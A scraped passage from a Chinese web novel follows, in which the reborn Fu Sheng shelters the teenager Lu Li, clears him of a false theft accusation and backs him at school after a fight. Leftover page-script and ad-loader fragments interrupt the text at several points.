$(''.inform'').remove(); $(''#content'').append('' 真是为了你们真是操苦了心,以前当骗子的时候也没有这么卖力,自从跟了你,成了买早餐的老妈子是吧。” 蒋文有个毛病就是话多,尤其是抱怨的时候,根本停不下来。 傅生坐在桌前,财大气粗:“一月一千。” 蒋文立马住嘴:“好嘞哥。”说完,他又想到什么,“最后一句,可以提前预支吗?” 傅生眼睛都没眨:“滚。” 陆离坐在一旁,喝着牛奶,偷偷笑了一下。这一幕刚好被蒋文看到,他不敢说傅生,对于这个小鬼却没有多少忌惮:“你这个小屁孩,你笑什么?” 原本以为这次陆离还是继续不说话,却没想到他抬头执拗地看着人:“我不是小孩。” “你不是小孩是什么?”蒋文笑了,“十五岁不是小孩,你还想当大人啊,那叔叔来问问你,你谈女朋友了吗?” 陆离看了一眼傅生,低下头不自然地说:“没有。” “连女朋友都没有谈过,还说不是小鬼。”蒋文在一旁嘲笑,“小毛孩子,毛都没长齐。” 陆离不示弱,反问道:“那你女朋友呢?” 这句话一出,蒋文得意洋洋的笑容瞬间僵在脸上,靠,他也没有女朋友。 但是他怎么可以在一个小鬼面前露怯。他支着脖子说:“我现在还没有,但是很快就有了。你为什么只问我,不问问傅生。前几天我还看到一个漂亮的小姑娘和他说话呢。” 陆离猛然抬头,看向傅生。 傅生眼睛都没抬,对蒋文说:“你若是太闲的话,就端着去外面吃。” 蒋文悻悻地闭了嘴。 陆离却停下手中的动作,半晌,他倏然起身,低声说:“我吃完了。”说完就转身上了二楼。 蒋文咬了一口包子,刚好看到陆离绷直的脸颊,他疑惑道:“这小鬼怎么了,怎么感觉突然生气了?” “小鬼是你喊的?”傅生说。 蒋文:“你不是也这样喊吗?” 傅生夹了一个包子塞进蒋文嘴里:“吃你的吧,吃饭都堵不住你的嘴。” 蒋文嘴被堵住,只能唔唔了几声。 “我也吃完了,”傅生不看他,起身说,“我去楼上看看。” 陆离直到进了房间,才皱了眉,对自己刚才的行为感到不解。 他为什么突然有点郁气难舒。 还没等他想明白,门口砰砰响了几声。 陆离抬眸看去,敲门的不用想也知道是谁。 自己家的门,现在还需要开门,他好像真的是个麻烦。 陆离盖下眼中的情绪,没说话,只是走过去把门打开了。 傅生果然站在门口,晨光斜照过来一点,打他他肩膀上。他弯着眼睛看人:“生你蒋文叔叔的气了?他有时候话确实多了点。” “没有,”陆离说。 傅生审视看了他几眼:“嗯,没生气就好,换身衣服下来,一会我带你去买点东西。” “买什么?”陆离看他。 傅生说:“你跟我去了不就知道了。” 陆离没说话,傅生知道他脾气,转身下楼。 房间安静。 晨光没了遮挡,洒落在红木地板上,身后的陆离却倏然开口:“傅生。” “没大没小的,”傅生转身,半是打趣,“你该喊我什么?” 陆离憋了一会,声音听着不大乐意,却还是闷着脑袋吐了个字:“哥。” 16. 第 16 章 傅生说了句这还差不多转身下楼。 陆离垂眸看着那道身影,乌沉地眼睛在阳光的照耀下,显得明暗不定。 好半晌,他才转身。 * 傅生带着人来到算是北川这边最大的商场,他的古董店里东西差不多都有,不过也都是以前的,现在刚好凑着这次把店里的东西都换了。 地下一楼卖的基础的家具,床,桌子,衣橱,傅生领着人走过去,营业员开口:“你好先生,需要看什么?” “都看看,”傅生扭头看向陆离,“隔壁的房间需要打扫出来,添置些家具,你喜欢什么样的。” 陆离站在一边,眉心缓缓地皱了起来:“以前的就可以。” 傅生没必要为了他花这么多钱,况且……他不一定住多久。陆离垂下眸子说:“没必要换。” “没必要吗?我觉得还挺有必要的。”傅生说话,总是显得散漫,尤其是在这种空荡的大空间,陆离觉得他的声音远得不真实。 他下意识地皱了一下眉。 隔壁的房间一直都空着,应该没有人住过,里面的东西都出现了不同程度的残坏破败。 陆离既然要住进去,里面东西没道理用旧的。 “不说话?”傅生说,“那我替你挑了。” 陆离沉默不语。似乎只要他不说话,傅生的这些好就不是对他的。 傅生目光落在陆离紧绷起来的手筋骨上,他眼睛动了一下,接着挑眉,对着营业员说:“那几件粉色的家具我都要了。还有那张公主床。” “好的先生,”营业员刚才没有听到两个人的对话,“请问家里是有小姑娘吗,你的眼光很好,这一套真的很受小姑娘的欢迎。” 傅生的目光落在陆离身上,意味深长地说:“是啊,不过家里那位小姑娘很爱一个人生闷气,憋着不说话。” 这些话可能别人听起来没问题,比如那位营业员,但是小姑娘本人就不太高兴了。 陆离手筋骨松开,脸色有点沉,想说什么,却又没办法说,毕竟刚才傅生问过他。 可能怕自己忍不住回嘴,陆离扭过身子,不去看傅生。 营业员在纸上将傅生要的东西记下来:“这些东西需不需要给您送回去?” “谢谢,”傅生弯着眼睛说,“我原本打算抗回去的。” 营业员被傅生逗笑了,“好,先生,等下把您的家庭住址留一下。不过您看上去很年轻的样子,已经有孩子了?” “谢谢夸奖,不过不是我的孩子。” 营业员们平时喜欢和顾客拉近关系,写单子报告的时候,又道:“我还以为您结婚了呢,冒昧问一句,家具是送给谁的呀?咱们这边还挺少这么大方送全套的呢。” 陆离听着身后的两个人聊得不错的样子,唇抿了一下,转身向外走。 傅生说着话看着前方形只影单的身影,眼睛里的笑意停了一下。 他说:“送给一个亏欠了很久的人。” 两个人出了地下一楼,傅生指了指隔壁的服装店,还没有说话,陆离不知道想到了什么,快速地开口:“我回松里拿点东西。” 傅生刚想说跟着他去。 陆离说:“赵国强最近没在家,我自己就行。” 直到话说完,他愣了一下。因为刚才傅生根本没有说话,他看他表情就知道他想说什么。 陆离紧抿了一下唇,几乎是片刻间,他的身影就消失在拐角。 傅生看着那道背影,无奈又温沉地摇了摇头。 家具的速度还挺快的,傅生回去的时候已经运到了,蒋文在二楼指挥着运输工人,扭头的时候刚好看见傅生进屋。 他踮着脚尖,左右瞧了瞧:“陆离呢?你将人卖了?” “嗯,”傅生将外套脱下来,挂在一旁,转身上楼,看着忙碌的工人,“已经开始了?” “开始有一会了,你那些旧家具都搬完了,”蒋文看着这些新家具喜笑颜开,看了半晌他扭头又问,“不是,陆离到底去哪了?” 傅生说:“回松里拿衣服了。” “你不是领着他去商场买了?他还回家干什么?”蒋文疑惑。 傅生笑了一下:“可能怕我再给他买一身粉。” “一身粉?”蒋文愣了一下,没明白是什么意思,“还有你怎么买了这么多粉色的家具和公主床?陆离喜欢这样的?” 傅生只笑不语,直到那群工人搬完一个房间,开始将粉色的家具都搬进蒋文的房间,蒋文惊呼出声:“什么!这些都是我的!” 他看着蒋文的样子,想起来了上一世刚认识的时候,蒋文那时候已经不卖药了,在当职业会虫。领着他拿着假名片和□□穿梭于各个会场,骗吃骗住。 有一次两个人就被安排进一个主题酒店,因为人多,到最后只剩下了一间公主主题的房间。 蒋文刚进去就开始感叹:“这房间简直是梦中情房啊,不仅豪华,还不漏雨,以后要是让我都住这种房间,让我身家百亿也行啊。” 傅生想起以前的事,嘴角弧度上扬,一边说一边下楼:“嗯,为了圆你的梦。” 蒋文:“?” 不是,他什么时候说过喜欢这种风格。 “傅生!傅老板!”蒋文跟在傅生身后,妄图挣扎一下,“能不能换一种风格,或者我住陆离那个房间。” “你不怕他咬你你就去,”傅生不反对。 蒋文想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起那个小鬼生气的样子,那个念头瞬间收了回去,苦着脸最后看向傅生:“不是,只能这样了吗?” “开心点,”傅生说,“以后说不定就喜欢了。” 蒋文:“……” 万恶的资本家! 可他不敢反抗。 可谁让他住人家,吃人家的,就连工资都是这个人发。 蒋文磨牙霍霍看着沙发上没事人一样的傅生,傅生很是悠闲地翻着今天的报纸,就在这时他怀中的手机响了几声。 来电的显示人是房东钱姨。 傅生皱了一下眉,按了接听键:“钱姨?” “小傅啊,”钱姨说,“我现在没打扰你吧?” “没有,”傅生说,“怎么了?” “也没什么大事,”钱姨支支吾吾地开口。 傅生眉心皱得更深了:“钱姨,有什么事你说行。” 钱姨一听,这才直截了当的开了口:“那钱姨就说了,我看你之前不是和小陆关系不错,所以我想了想还是给你打了个电话,楼下的保三家丢了三万块钱,他家的人非说是小陆偷的,现在拉着小陆不让走。” 傅生顿了一下,再开口声音有点冷:“行,我知道了。” 蒋文看傅生的脸色挂了电话就沉了下来,在一旁开口:“怎么了?” 傅生拿起旁边的外套:“你看着这边,我出去一趟。” “行。”蒋文很少见傅生这模样,“这边有我看着。” 傅生到的时候,楼下围了一圈看热闹的人。 松里这地方,有点什么风吹草动,十里八里的人都会围过来。 “这可是保三在工地上差点丢了命才换回来的救命钱,真是丧了良心了偷人家救命钱。” “是啊,我听我儿子说陆离在学校里也孤僻得很,也不跟人说话,而且经常打架,学校好学生都怕他。” “你看他家,他爹是个赌鬼,他妈是个疯子,他又会是什么好东西。” 周围指指点点的声音落在陆离身上,几乎要把他淹没了。他手里死死地捏着一个石子,石子的一头是尖的,血顺着石头在他手上流下来。 这一刻,他恨不得杀了周围的所有人。 “死兔崽子,识相点快点把钱还给我,和你那个疯妈一个养,狗娘养的。” 他们骂得越来越难听,陆离的眼睛缓慢地移动,最终落在不远处桌子上那把不知道干什么的那把尖刀上。 他黑色的瞳孔越来越深。 就在这时,一只手带着凉意的手伸了过来,捂住他的眼睛。 周遭声音似乎一下子被隔绝了,陆离愣了一下。 一道低沉的嗓音响在他耳边:“听话,把手松开。” 17. 第 17 章 对方离他太近了,靠近他的时候,他又闻到了熟悉的味道。 陆离绷紧的手指逐渐放松下去,他的手指被一道温和的力道缓慢地分开,接着,他听见手中石头掉在地上的声音。 “傅生,”陆离开口。 傅生将自己的手在陆离眼前移开,两个人相差半头,目光对视,他眼眸缓慢地眨了一下说:“我在。” 陆离咬着的牙逐渐松开,好半晌,才再次开口:“我没偷。” “我知道,”傅生看着他手上伤口还在不停地流血,声音连他自己都没有注意到添了一丝冷意,“走吧,回去处理一下伤口。” 他转身带着陆离,可能是看他穿着不像是寻常人,刚才围成一圈的人自动给他们让出一条路。 站在一旁的保三向前一步,粗着声音喊:“不是,你谁啊,他偷了我的钱不能走。” “偷钱?你看见了?”傅生斜看他一眼。 保三被问得卡了一下,接着不知道想到什么,提高声音说:“就是他拿的,这个楼的孩子哪里有和他一样的,天天脸上带伤。不是这种人还能是谁。” 傅生冷淡地看他一眼:“我听说你是因为受伤被建筑工地上劝回来的?” 保三不明地看着他:“是又怎么样?” 傅生:“你在工地上偷钱了?” 保三粗着脖子大声嚷嚷:“我是因为受伤才在家的,你有什么证据在这里血口喷人。” “证据?”傅生嘲讽地说,“原来还需要证据?我以为嘴巴一张一合就可以了。” 保三被自己说出去的话一噎,脸色瞬间憋变成了土色。 人群中有个男人突然在开口:“哎保三,你在家里都躺了快半年了,伤早就好了,怎么不出去干活?” “是啊,他都好了半年了,建筑队都不喊他。” “保三,你的补偿金三万块,这都半年了一点没花?这不像你的作风啊。” 人群中一旦有人张口,质疑的声音也越来越多,保三原本还有底气的脸变得越来越心虚,最后他恼羞成怒,在地上抓起一个土块,朝着陆离砸了过来。 石头没有砸到陆离,被傅生遮挡了一下,黑色的风衣瞬间沾上一块污。 “你——”陆离愣住了。 周围气压一下子降了下来,傅生眼神冰冷,看向砸人的男人。 可能气势太吓人,保三哆嗦了一下,转身就跑。 “跑什么!”周围有热心人朝着他吆喝,“不是说人偷你钱,你先心虚了。” 傅生面色阴郁,抓着陆离,头也不回地转身走出了巷子。 从陆离的角度,可以看到傅生绷直的脸和紧抿的唇角。 一路上,气氛都是异常的沉默,一直到蒋文站在门口给他们摆手。 还没靠近,蒋文就看到陆离带血的手:“哎哟这才多大会,这是怎么弄的?” 傅生没说话,冷着脸将人带进屋子,提出一个医疗箱。 “手。” 这话似曾相识,唯一不同的可能就是这次的语气不太好。 陆离乖乖地伸出手。 傅生没看他,只是拿着双氧水浇在他手上消毒,药水碰到伤口的那一刻,伤口刺疼了一下,陆离肌肉反射地向后抽了一下手。 傅生将手拽了回去,又在医药箱里找到了碘伏,用棉签蘸了,小心地涂在他手上。 一直到伤口处理完,他冷声说:“还知道疼,看来不傻。” 陆离闷了一会,一直到傅生起身,才开口。 “你生气了?” 傅生垂着眸子将身上的衣服脱下来,没吭声。 陆离抿了一下唇,“我没有进入过他的房间,也没有拿他的钱。”顿了一下,又沉着声音别扭地开口,“你能不能别生气。” 傅生都要气笑了:“我是因为这个生气的吗?” 陆离像是不太懂,眼睛眨了几下。 他不知道除了因为这个生气,还能因为什么生气。 两个人对峙了一会。 对着这么一双眼,傅生的那点气倏然就生不起来了。 因为从来没有人教他。 他只能分清喜怒哀乐,却不知道人的牵扯不仅只有这四种情绪。 “下次再遇到这样的事,”傅生长叹了一口气,最终败下阵来,“以后别伤害自己。有事可以给我打电话。” 陆离一愣。 他以为傅生生气是因为自己惹了麻烦,松里里面孩子还挺多的,有些孩子在外面惹了麻烦,回家之后,无论谁对谁错,都会被批评一顿。 “你能不能让我省点心,你知不知道我天天为了供你上学,起早贪黑。” “我怎么会养出你这种废物,早知道这样,生你我还不如养头猪。” 陆离以为这样才是常态。 亲生父母尚且如此,傅生却告诉他,不要伤害自己,有事可以找他。 “你不问我什么?”陆离垂下眸子,遮住连自己都不知道是什么的情绪。 傅生一直绷直的唇这才露出些笑意:“问你什么?” 问那些钱是不是他拿的? 傅生说:“我相信你没有做过那些。” 陆离抬头看向他:“为什么?” 为什么这么相信他? 傅生看了他一眼:“可能是因为你长得比较好看?” 这一句话,终于让那个刨根问底的小鬼安静下来,陆离呆了一下,接着又快速地移开眼睛。 傅生目光落在他泛红的耳尖上,笑了。 他怎么不记得自己以前脸皮这么薄。 这时,蒋文兴致勃勃在门口跑了过来。 “你们知道那个人的钱是谁偷的吗!” 他用一种不可置信的语气看着房间内的两个人。 陆离回来之后,蒋文看着他满手的血迹,就生气地撸着袖子去找那边的人要说法。 现在看来,说法没有要到,但是听了一肚子八卦。 看在人这么积极的份上,傅生决定给他一个面子:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谁?” 蒋文斥声说道:“竟然是他自己!贼喊捉贼,人渣!” 傅生笑了一下,对于结果毫不意外,陆离则是抿着唇,一副不感兴趣的样子。 蒋文瞪着眼睛:“你们怎么不吃惊!” 傅生目光看向门外。 因为他很早就知道了。不过,好像已经像回忆上辈的事了。 哦,本来就是上辈子。 他当时被保三冤枉,没有人信他,只有他自己。 最后怎么解决得来着?好像是他拿着刀子惊动了隔壁街的警察,警察将他和保三一起带进了局子。 大约半个月之后,警察将调查的通报告诉松里的居民。 不过那时候,真相似乎已经对他没有意义了。 他被人骂了半个月的小偷,连带着赵国强将他按在地上打了一遍又一遍,说丢了他的人。 那次,他整整半个月没能下床。 傅生在回忆里回过神来。 蒋文在一旁絮絮叨叨地讲着:“保三被辞退之后拿到这个钱,不仅没有将钱拿给家里,还撺掇着家里的妻子出去打工,这不是前几天他妻子不知道在哪里得知了保三有赔偿金的事,问他要钱,但保三这个地痞无赖,三万块钱早就被他花光了,他动了歪心思这才盯上了陆离。” 其他的孩子都有父母护着,保三不敢怎么样,但是陆离家的情况整个松里都知道,就算是诬赖他,也不会有人给他撑腰。 一个爹不疼娘不爱还天天打架的人,还有比着更好的人选吗? 可是保三千算万算也没有想到半路会出来个傅生。 蒋文在旁边呸了一声:“真是个人渣。” 傅生没说话,只是将目光落在陆离身上,打趣道:“你的公主房已经收拾好了,不上楼去看看?” “……” 陆离很不情愿,慢吞吞地跟着傅生上了楼,直到他打开房门。 房间里装修风格以白色为主,强烈的视觉和线条的对比,简约到几乎锋利。 是他喜欢的样子。 陆离怔愣地看着房间内的一切:“你不是说……” 傅生笑了一下:“你蒋文叔叔更喜欢公主风格,所以我就做主给他了。怎么,你想和你蒋文叔叔抢?” “没有,不想。”陆离干净利索,满脸写着拒绝。 他冷着脸来掩饰自己脸上那点别扭,进屋刚想关门的时候,一只修长好看的手伸进来,挡了一下房门。 陆离不解地看向他。 傅生眸光带笑:“没礼貌,连声谢谢都不说。” 陆离杵了半晌,不太适应这种话,好半晌才开口:“谢谢。” 傅生却没有任何要走的意思。 “既然这样,那打个商量。”傅生说,“咱们两个都真诚点,交个底怎么样”。 陆离抬头,嗓音带着少年独有的清冷:“什么?” “前几天,我去找了你继父,”傅生依旧眸光温沉地看着他,“你有没有什么要对我说的?” 18. 第 18 章 两个人在沉默中无声地对峙,气氛说不上来是什么。 陆离捏着手指抿着唇,半晌,他在傅生注视的目光中移开眸子:“没有。” 傅生盯着那还带着青涩的侧脸,目光低垂下去,说不出无奈还是什么。 半晌,他转身淡声道: “行。明天记得早起,我有点事,让蒋文送你过去。” “嗯。”陆离看着地面,直到楼梯上的声音离着他越来越远,他才抬头,露出黑沉沉的眼睛。 等到声音完全消失,陆离伸出手,目光落在被傅生包扎好的伤口上。 可能是刚才太用力了,好不容易包扎好的伤口,这会已经渗出了血迹。 * 第二天陆离六点多的时候起床,下楼的时候,蒋文没正形地躺在皮质的沙发上打着哈欠。 听到响声,他抬头,看见陆离在楼上下来。 少年的长势很旺,这才认识了几天,蒋文觉得这个小鬼的个子就蹿了不少。 就是那张脸还是冷冰冰的。 “醒了?” 让闷葫芦主动说话很难,蒋文决定自己先开口。 闷葫芦眼睛在古董店里扫了一圈,那张脸似乎更冷了点:“他呢?” 蒋文一时没有反应过来:“谁?” 两个人对视看了半晌,蒋文这才啊了一声,“傅生啊?他一大早啥也没说就出去了,我也不知道他去干什么了。” 陆离的眼眸低垂下去。 蒋文虽然平时大大咧咧的,但在某些方面心思细腻,他感觉这两个人今天似乎有什么地方不太对劲。 傅生早晨也是冷着一张脸。 “闹别扭了?”蒋文贱兮兮地凑上去问。 陆离没看他,径直地走到餐桌前,沉默不语地吃着饭。 他不知道傅生今天去干什么了,也不知道是不是因为昨天的事。 蒋文见陆离的脸,脸上八卦更明显了:“真闹别扭了?” “吃完了。”陆离面无表情拿起书包挎在身上。 蒋文还没吃完,但是他记得那位今天冷脸的老板给自己的安排的任务。 他胡乱地塞了几口,鼓鼓囊囊地说:“不是,你吃这么快,等等我送你。” “不用,”陆离背对着他,头也不回出了门。 等到蒋文将嘴里的东西咽下去追出去的时候,门外早就看不到人。 蒋文没好气地说:“平时也没见你跑得这么快,真是挑剔,我送和傅生送有什么区别。” …… 傅生坐在咖啡庭里,来得早,还没有多少人。 他神态优雅地端起咖啡,有一搭没一搭地听着旁边的小姑娘闲聊。 “最近那个谁好像要来这边开演唱会。” “我去,真的假的。你抢到票了吗?” “没有,那群疯女人一个个都像是疯了一样。” 另一个女生叹了一口气:“哎,那看来咱们这次是看不成了。” 她唉声叹气的时候,另一个小姑娘在书包里掏了几下,变魔术似的掏出了两张票:“当当当。” “我去,你在哪里弄到的?” 傅生看着旁边小姑娘脸上的表情从懊恼转成了惊喜,脸上也不由自主地笑了一下。 小姑娘的喜好容易满足。 可惜他家那个“小姑娘”却没这么好哄,对他也不信任呢。 他无声地笑了一下,低头喝了一口咖啡。半晌,看到落地窗外面学生断断续续地来,他眸光暗了一下,却还是将咖啡慢条斯理地喝完,这才整理了一下外套走了出去。 “妈妈我走了。”穿着校服的小胖孩对着身后烫着大波浪的女人说。 “在学校里听老师的话。”女人整理了一下他胸口的红领巾,又拿着水杯给他喝了一口,“渴了找老师帮你打开杯子。” “嗯嗯,知道了妈妈。” 女人目送小胖进入了校门,转身刚想开车,一只修长的手伸了过来,扣在纯黑色车门上衬的格外好看。 “刘女士。”傅生站在一旁,很礼貌地开口。 刘芳皱眉看向他:“你是谁?” “我是谁不重要,”傅生说,“不过我手上的东西你应该很感兴趣。” 刘芳上下打量了他一圈,冷笑道:“现在的骗子都这么人模人样了?”说完,她转身上车,挑衅一般着摇下车窗露出戴着墨镜的脸:“下次行骗的时候,打听打听骗的人是谁。” 傅生笑了一下,在刘芳即将开走的时候不急不躁道:“洛文丽,郑顺昌的秘书,前两个月曾经在巴兰岛以个人名义购置了一套别墅,我觉得以她的工资,恐怕没有这个能力,你觉得呢,刘夫人。” 刘芳转着方向盘的手顿住了,墨镜下的眉逐渐皱了起来。她这才又再次认真地打量眼前这个年轻人。 那张脸长得过分白了,原本该是偏文弱的长相,但被那双浅棕的眸子冲淡了文气,显出几分凌厉来。 这可不是普通骗子该有的。 她思考半晌,抿唇下车:“去哪谈?” 傅生再次进入那家咖啡馆的时候,两个女生还没走,她们看着傅生再次进来,有些惊讶地瞪大了眼睛。 傅生对她们礼貌地点了一下头,又对着刘芳道:“想喝点什么?” “随便,”刘芳开门见山,“你找我干什么说吧。” “既然刘女士这么爽快,那我直接说了,”傅生说,“做个交易怎么样?” 十分钟后,刘芳声音提高,用一种看疯子的眼神看着他:“你觉得我会帮你去骗郑顺昌?你真是疯了。” 郑顺昌和洛文丽的事她知道,男人,尤其是有钱的男人哪个不在外面偷点腥,不是洛文丽也会是下一个,所以大多数时间,只要不闹到她眼前,她都可以装作看不见。 傅生脸上的表情从进门就没有变过了,那双眼睛虽然笑着,却有着一种旁观者的冷漠:“刘女士,你有没有想过为什么您先生怎么在这个时间突然在巴兰岛购买别墅。” 刘芳愣了一下。 “你确定只有这一处房产你不知道吗?”傅生继续说,“或者说,作为夫妻共同财产,你们的资产你真的知道吗?据我所知,因为前段时间工人坠亡事件,公司的股市已经降了不少了吧。” 刘芳不说话了,傅生向来见好就收,他起身将一张写有手机号码的卡片压在咖啡杯下面:“若是想好了,可以联系我。” 很快,桌子前就只剩下刘芳一个人,她低头扣着手指,最后目光落在那张卡面上。 * 陆离几乎一整天都冷着脸,有点眼色的都知道躲远点,可偏偏总有几个不长眼的。 “哎哟,这不是赌鬼的儿子吗?怎么今天这么不高兴啊。”学校里出了名的贱兮兮的人扒着窗户瞧着陆离,眼睛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几乎眯成了一条缝。 陆离手里拿着刚发下来的试卷,眼睛都没有动一下。 周围的人对着小眼睛讥笑:“驴哥,人家不理你哈哈哈。” 被称驴哥的男人脸上有点挂不住,态度更恶劣地看向陆离:“我听说你最近经常和一个男人在一起走,在外面傍上大款了?” “大款,什么大款?”周围人开始八卦。 “你们不知道?就是每天放学,陆离身边都有个男人跟着,看起来关系还挺亲密。”驴哥看向陆离,笑得更加挑衅,“不过也不一定,或者那个男人才是小白脸,人长得真不错,不知道在哪个酒吧坐台。我介绍点富婆和老男人给——” “乒乓”的一声。 话还没有说完,人就倒在地上,巨大的力道让驴哥在地上蒙了好半晌,他一张嘴,血汩汩地向外流。 驴哥擦了一下,一颗门牙躺在他手里。 “陆——离——”一道杀猪一般哀嚎声冲破教室,驴哥牙齿漏风,“劳资一定弄湿你。” 陆离却看着手指上的伤,缓慢地转了一下眼睛。 …… “你可回来了。”蒋文一看见人,就冲了过去,像看见救星一样。 傅生看了他一眼:“你惹事了?” 蒋文赶紧摇头:“你可别冤枉我,我可是什么事都没有做。” 傅生不由皱眉,蒋文啊了一声,赶忙接着说:“是你领回来的小闷葫芦。” “他怎么了?”傅生眉轻微挑了一下,似乎有点惊讶。 蒋文说:“这祖宗从回来之后,就一直把自己关在房间里,问他也不说话。”说完,他又一脸神秘兮兮地凑过去:“我听在附近放学的学生说,陆离在学校里和人打架,他不会是挨揍了吧。” 傅生眼睛向楼上瞥了一眼:“行,我知道了,我去楼上看一眼。” “快去吧快去吧,好好哄哄,别再搞抑郁了,”蒋文说,“你这哪里是找了个员工,分明是请了个祖宗回来。” 傅生笑了一下,对这个话不置可否,他踩着木质台阶上楼,站在陆离门口敲了几声。 房间里没有人回答。 傅生在门口出声:“再不出声我进去了?” 房间里依旧没有回应。 傅生也不惯着,直接推门进去,然后他就看到陆离可怜兮兮地躺在床上,右手差点包成了粽子,衬着那张雪白的冷脸,竟然有几分违和的可爱。 傅生手指动了一下,有点手痒,想戳一下。 陆离乌黑的眼睛一动不动地瞪着他。 傅生差点被他这副模样逗笑了,但还是咳了一声掩饰笑意,正色道:“怎么了这是?” 陆离清冽冽地说:“被人打了。” 这话说得理直气壮,跟真的似的。 傅生都差点信了。 好半晌,他才压住那点笑,走过去说:“这么可怜?谁这么大胆。” 陆离那只被包成粽子的手放在床上,他不擅长说谎,只能冷淡地“嗯”了一声。 还嗯。 傅生看着陆离的神色,他原本还想着再逗一会人,但实在是憋不住了。 “让我看看,”傅生俯身,抓着陆离被包成粽子的爪子看了半晌,抬头带着几分揶揄说,“这要是再包会,手被牙磕破的那点皮都要好了吧。” 陆离:“...........………….” 19. 第 19 章 傅生伸手在他额头上轻轻敲了一下:“行了,别板着脸了,下去吃饭。” “你都知道了?”陆离看向他,半晌才开口,“什么时候知道的?” 傅生低着头将陆离手上缠着一圈一圈的纱布解开,“你这是缠了多少圈?不过了是吧,这么折腾这手?” 从见到陆离,这双手好像还没有好过。 傅生轻啧了一声:“行了。下楼。” 陆离还是一动不动地看着他,乌沉沉的,眼神格外执拗。 傅生叹了一口气:“下午去学校接你的时候,遇到你们学校的教导主任了。” 早晨他出门早,没有见到陆离的面,对于昨天的事他心里确实有些微妙,但还远不到生气的程度。 下午看着天色还算早,就想着刚好去学校接了人回来,结果人没看到,遇到了教导主任。 教导主任一听是来接陆离的,怀疑地上下打量了好几遍:“你是他什么人?” 学校的那些风言风语他也听到了一点。眼前的男人穿的,气质,确实不像是普通人,而陆离的家庭情况,学校里的老师大部分都清楚。怎么可能给这样的人扯上牵连,除非…… 对于教导主任的怀疑,傅生并不在意:“你好,我是陆离的远房表哥。刚来北川没多久。” “表哥啊,”教导主任目光这才放松下来,又想起什么,脸上挂上严肃的教导人的神色,义愤填膺地说,“陆离表哥,陆离这个孩子我还是挺喜欢的,实在是不想他再这么堕落下去了,就是今天,他一言不合就把同学的牙给打掉了,你说说这事闹得。” 傅生愣了一下:“牙?” 他不记得自己在高中的时候打掉过别人的牙,平时打架也很少在学校里,因为没有人给他兜底。 教导主任一提起来这个,脸红脖子粗地说:“是啊,我刚才刚把那个学生的家长送走。好说歹说才给劝住了,家长说明天在学生面前给他家孩子道个歉就行了。” “他找你了?”陆离看着傅生走神,出声说,“说什么了?” 傅生眼睛落在陆离身上:“没什么,下楼吃饭。” 反正什么事都有他呢。 “还得是你啊,”蒋文看着两个人在楼上下来,蹭一下在沙发上坐起来,“这么一小会儿就把人劝好了。” 陆离脸色在蒋文叽里咕噜的话里更冷了。 蒋文靠近傅生,压低声音小声问:“怎么回事?真被人打了?” “没有。”傅生笑了一下。 蒋文:“那是在干什么?” 傅生:“在排练话剧呢。” 蒋文好奇:“什么话剧?” 什么话剧需要把自己关在房间里不说话。 傅生看着陆离,揶揄道:“撒谎的小猫。” 陆离:“............” 蒋文挠了挠头,嘴里嘟囔道:“撒谎的小猫?我怎么没有听说过这个故事。哎,陆离,你给我讲讲故事内容行不行。” 陆离乌黑的眼珠瞪了他一眼,转身就走。 “怎么又生气了,”蒋文看向傅生,“这也是话剧的一部分?” 傅生笑地咳了几下:“大概是吧?” * “昨天,咱们学校发生了非常严肃的校园打人事件,”教导主任在讲台上拿着演讲稿,厉声道,“我现在点名批评一个人,八班的陆离。将十班王律同学的牙一巴掌打掉了。这个行为简直是太恶劣了。” 说完他话锋一转:“当然,根据昨天咱们校方和王律家长的协商,陆离你现在当着师生和家长的面,和王律同学道歉,并且写1000字的检讨,这件事就算是过去了。陆离——” 王律脸上包了一层布,从头顶到下巴,跟个土匪似的,露出的一只眼睛嘚瑟地看向陆离。 陆离抿唇不动。 教导主任又喊了一遍:“陆离!道歉啊,干什么呢。” 陆离向台上看了一眼,冷着声音说:“我没错。” “你这孩子怎么回事,”王律的家长瞬间皱了眉,“我家孩子被你打得门牙都掉了,你家长呢?” 王律在旁边笑嘻嘻地说:“他家里没有人管他,他妈是个疯子,他爸是个赌鬼。” “怪不得,”王律的妈妈说,“这么没家教。原来是个没人管。” 人群中又起了喧闹,教导主任也觉得这话不妥,但是现在毕竟陆离打了人,人家长说几句也是理所应当。 “主任,他都没人管,我儿子的医药费到底是谁给我们。”王律他妈急了。 教导主任:“这——” 他以为王律他妈的意思道个歉就可以了,没想到还要钱。 他看向陆离,还想再呵斥两声做做样子,好减免点赔偿,话还没开口—— “对不起,来晚了。” 就在这时,一道声音在人群后面响起,陆离愣了一下。 傅生走过来,身材挺拔又温雅,也不见外,直接坐到了学校领导的位置上,交叠着双腿看向下面,在周围一众的秃头领导中格外出众扎眼。 学生堆了起了小规模轰动。 尤其是女同学,互相地交头接耳使眼色。 教导主任似乎没觉得他坐得不妥,瞪着眼睛,“陆离表哥?” “你好,有点事耽误了,没有来太晚吧?”傅生装得风度翩翩地说。 “没。”教导主任像看到救星,“就是陆离.....” 他话都没有说完,旁边王律的妈妈突然提声开口:“你是陆离的家长,既然你来了,我们来聊聊陆离打我儿子这件事。他这是一个打人应有的态度?既然这样,也没有什么好说的了,我们不同意协商了,等着被退学吧。” 傅生的眼睛转到了陆离身上。 陆离的手指又开始捏起了掌心,声音低却透着一股倔强:“我没错。” “嗯。没说你错了。”傅生伸手,将那多灾多难的手在陆离手中解救出来,没好气地说,“先松开,我好不容易包扎好的伤口,你再弄出血了,我可生气了。” 陆离不可置信地抬头看着人。 “知道你眼睛大,别瞪我了,”傅生转身看向王律那边,“先把事情解决。” “到底怎么说,”王律的妈妈在一旁一脸不耐道,“你们商量好了没有。” 傅生缓慢地说:“嗯,商量好了。” 王律妈抱着胳膊,一脸高傲:“既然商量好了,那道歉吧。” 傅生手指捻了一下:“可我们不想道歉。” “这就是你们商量出来的结果?”王律他妈恼火地看向学校那边,“这就是你们学校处理事情的态度。” “别先着急,”傅生脸色不变,“先谈谈赔偿的事。” 王律妈妈冷哼一声:“你们赔多少?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 